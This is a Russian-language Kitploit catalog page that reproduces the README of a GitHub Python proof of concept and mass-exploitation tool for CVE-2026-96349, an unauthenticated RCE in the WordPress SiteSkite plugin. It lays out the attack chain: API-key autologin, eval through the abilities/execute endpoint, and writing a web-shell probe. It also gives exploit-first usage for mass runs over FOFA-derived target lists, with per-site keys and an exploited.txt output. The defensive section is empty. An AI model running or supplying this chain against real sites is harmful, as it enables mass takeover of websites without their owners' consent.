Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-96349 — Python PoC и инструмент массовой эксплуатации для CVE-2026-96349 — неаутентифицированного RCE в плагине WordPress SiteSkite ≤2.1.8 через автологин по API-ключу и PHP eval в MCP. | Kitploit
Инструменты/GitHubGitHub/murrez/cve-2026-96349
РазведкаГенерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеИнструмент Удаленного Доступа
GitHubmurrez/cve-2026-96349

CVE-2026-96349

Python PoC и инструмент массовой эксплуатации для CVE-2026-96349 — неаутентифицированного RCE в плагине WordPress SiteSkite ≤2.1.8 через автологин по API-ключу и PHP eval в MCP.

21 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2026-96349 — WordPress SiteSkite ≤ 2.1.8 → цепочка RCE без аутентификации

ПолеЗначение
CVECVE-2026-96349
ПродуктSiteSkite плагин WordPress
Затронуто≤ 2.1.8
Исправлено2.2.0
CWECWE-94 — Improper Control of Generation of Code
CVSS10.0 (Critical) — Patchstack advisory
Каталог PoCbithttps://pocbit.org/pocs/
Страница PoCbithttps://pocbit.org/pocs/cve-2026-96349
Маркер проверкиPOCBIT-96349-OK

PoC на Python в том же стиле, что и CVE-2026-102425: интерактивное меню, массовый эксплойт (по умолчанию), --check, -u, --lab, пул потоков, hits.txt / exploited.txt.


Что представляет собой эта уязвимость

Patchstack и программа CVE описывают CVE-2026-96349 как уязвимость удалённого выполнения кода без аутентификации в плагине SiteSkite. Публичный текст намеренно краток; исправление от вендора 2.2.0 (сентябрь 2026) существенно затрагивает аутентификацию и автовход. Статическое сравнение 2.1.8 и 2.2.0 в этом репозитории (extract-2.1.8/, extract-2.2.0/) показывает практическую поверхность атаки, которую реализует этот PoC.

SiteSkite — крупный плагин WebOps: резервные копии, API портала и встроенный AI MCP («abilities»), включая продвинутые инструменты, вызывающие eval() для PHP-кода, предоставленного атакующим (siteskite_execute_php), и запись произвольных файлов (siteskite_write_file). Эти возможности доступны через REST и через admin-ajax.php, когда сайт связан с API-ключом SiteSkite.

Критическая ошибка в ≤ 2.1.8 заключается в том, что один и тот же долгоживущий API-ключ служит одновременно bearer-токеном для входа в WordPress под администратором без аутентификации:

  • AutoLoginController принимает ?token=<siteskite_api_key> на /siteskite-autologin и через handle_token_login() на любом URL фронтенда, содержащем ?token=….
  • Сравнение использует простое равенство с get_option('siteskite_api_key') (без подписи портала, без одноразового nonce).
  • При успешной проверке вызывается wp_set_auth_cookie() для первого администратора, с опциональным обходом 2FA для Solid Security и подобных плагинов.

2.2.0 удаляет этот путь: bearer-токены с сырым API-ключом отклоняются (проверки hash_equals, «Login Unavailable»), а вход требует подписанных ссылок, выданных порталом (AutologinPortalSignature). Ядро безопасности mu-plugin больше не принимает вход по устаревшим ключам.

С точки зрения атакующего цепочка выглядит так:

  1. Получить API-ключ SiteSkite целевого сайта (ссылки «Login as» портала, логи, утечки через referrer, скомпрометированные резервные копии, инсайдер или другая уязвимость). Patchstack классифицирует проблему как RCE без аутентификации, поскольку имя пользователя/пароль WordPress не требуются — только bearer-секрет плагина, который часто раскрывается вне сайта.
  2. Опционально подтвердить сессию администратора через автовход (/?token=KEY или /siteskite-autologin?token=KEY).
  3. Вызвать POST /wp-json/siteskite/v1/abilities/execute (или admin-ajax.php?action=siteskite_api) с заголовком X-SiteSkite-Key: KEY и выполнить siteskite_execute_php или загрузить up.php через siteskite_write_file → POCBIT-96349-OK.

Продвинутые инструменты MCP по умолчанию включены в 2.1.8 (McpSettings::DEFAULT_ADVANCED = '1'), поэтому многие связанные сайты предоставляют eval, как только ключ становится известен.


Затронутый код (справочно)

КомпонентПоведение 2.1.8Изменение в 2.2.0
includes/Core/AutoLoginController.php?token= совпадает с сохранённым API-ключом → admin cookieНеобработанный ключ отклоняется; только HMAC-вход через портал
includes/Mcp/Abilities/AdvancedAbilities.phpsiteskite_execute_php → eval($code)Всё ещё присутствует; ограничено авторизацией + настройками
includes/Mcp/AbilitiesRest.phpX-SiteSkite-Key → выполнение abilitiesТа же поверхность; autologin больше не раскрывает сессию без ключа
includes/API/FallbackAPI.phpwp_ajax_nopriv_siteskite_api проксирует abilities при валидном ключеПо-прежнему требует ключ / гостевой ключ

Существуют и другие неаутентифицированные REST-маршруты (UploadRest, регистрация OAuth), но они требуют токенов или PKCE; они не являются основной цепочкой, моделируемой здесь.


Структура PoC

ФайлРоль
poc.pyCLI / интерактивный / массовый эксплойт
_engine.pyHTTP-логика, метаданные PoCbit, лабораторный сервер
up.phpОпциональный веб-шелл-пробник (?pocbit=1 → маркер)
targets.example.txtСписок URL; опционально URL<TAB>api_key
extract-2.1.8/ / extract-2.2.0/Исходный код вендора для diff (не требуется для запуска PoC)

Требования

  • Python 3.10+
  • pip install requests colorama

Использование (exploit-first)

Интерактивный (режим по умолчанию = exploit)

python poc.py

Запросы: режим, необязательный глобальный API-ключ, целевой файл, потоки (по умолчанию 16), таймаут.

Массовый эксплойт → exploited.txt

python poc.py fofa_targets.txt
python poc.py urls.txt --key YOUR_SITESKITE_API_KEY
python poc.py urls.txt -t 24 -T 25

Ключи для каждой цели (tab, пробел или pipe после URL):

https://customer.example	abc123…siteskiteKey…
https://other.site|anotherKey

Резервный вариант через переменные окружения: SITESKITE_API_KEY или SITESKITE_KEY.

Массовая проверка → hits.txt

python poc.py --check fofa_targets.txt

Отпечаток: Stable tag в readme.txt, ответ об отсутствии токена в устаревшем /siteskite-autologin, версия ≤ 2.1.8.

Одна цель

python poc.py -u https://target.example --check
python poc.py -u https://target.example --key SITE_SKITE_KEY

Локальная лаборатория (без установки WordPress)

python poc.py --lab

Запускает 127.0.0.1:8796 с поддельным readme 2.1.8, автологином и эндпоинтом abilities; должен вернуть "exploited": true.


Поток эксплуатации (движок)

flowchart LR
  A[Target URL] --> B{readme ≤ 2.1.8?}
  B -->|no| Z[skip / patched]
  B -->|yes| C{API key known?}
  C -->|no| N[needs_api_key]
  C -->|yes| D[POST abilities/execute]
  D --> E{siteskite_execute_php}
  E -->|marker| F[RCE verified]
  E -->|fail| G[autologin ?token=KEY]
  G --> D
  E -->|fail| H[write_file / ajax fallback]
  H --> F
  1. siteskite_execute_php с echo POCBIT-96349-OK;
  2. То же через резервный вариант admin-ajax (route=/abilities/execute)
  3. siteskite_write_file → wp-content/uploads/pocbit_96349.php
  4. eval — вспомогательный дроппер для up.php
  5. Автологин, затем повторная попытка через abilities

Строки JSON-результата включают pocbit, pocbit_catalog, pocbit_page, URL-адреса CVE и verify_marker для конвейеров логирования.


Обнаружение / FOFA (режим проверки)

Примеры (адаптируйте под свой индексатор):

body="/wp-content/plugins/siteskite/"
header="siteskite" && body="wp-content/plugins"

Режим проверки не выполняет брутфорс API-ключей. Режим эксплуатации требует ключ, если у вас уже нет пар url\tkey из вашего собственного портала или данных утечек.


Меры защиты

Скачать инструмент